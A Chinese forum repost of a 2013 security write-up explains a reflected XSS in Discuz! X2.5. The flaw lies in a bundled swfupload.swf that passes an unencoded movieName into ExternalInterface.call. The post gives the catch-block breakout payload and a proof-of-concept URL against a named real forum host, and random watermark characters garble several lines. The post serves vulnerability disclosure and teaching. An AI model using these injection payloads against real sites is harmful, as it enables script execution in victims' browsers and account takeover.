找回密码
 立即注册
查看: 2920|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
% j4 h5 @% f3 k  z, A; ?. K, i: B( f% B; s( E# y9 @7 m2 z' l
flash.external.ExternalInterface.call($methodName, $parameter)& ]: R6 g+ R, l9 p. f8 d1 W4 C
在浏览器中执行的是
6 A$ y5 k& I; l" X( g, G
9 q8 p( _6 @5 a+ E9 x; Ktry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}$ B4 y1 T- b0 h1 A/ n" |
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
4 Y3 L8 v- W' T9 L2 D( T( E
2 z1 l, l1 R! F% N( d- hflash.external.ExternalInterface.call("object."+$methodName, $parameter)
( F% l7 ?0 N$ a* W$ g+ A$methodName = a())}catch(e){alert(/xss/)}//
' ?4 p2 g+ N: {结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。4 O7 {4 u6 B" Q1 M0 o* `

7 T' e3 Y$ y6 `0 U# Ytry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
; M" h1 Z" v1 o5 W4 [2 J8 [
# T& i/ b( e+ I2 p7 X+ i这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )3 W" X1 h1 M: X  L
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
; d" ]1 i5 g" B! V2 F# @/ a9 Q% f2 C

: V4 f/ K$ H" M, c  u. a
4 e! F! v; O4 k6 d漏洞文件:upload\static\image\common\swfupload.swf/ X! ^. n% B7 t+ [

4 b0 z8 j4 h& L( P5 o- B& x2 ^+ h原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf: o4 Y( _( j4 w& ]8 m

; u7 [' k# U0 F$ N' N# R2 k7 j
  p* q9 ]+ |" C4 g  N漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
" n  q9 j  Q" ~* ^3 ^
+ |+ z7 T7 E! P4 l; d7 x  b# R) |% e* V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表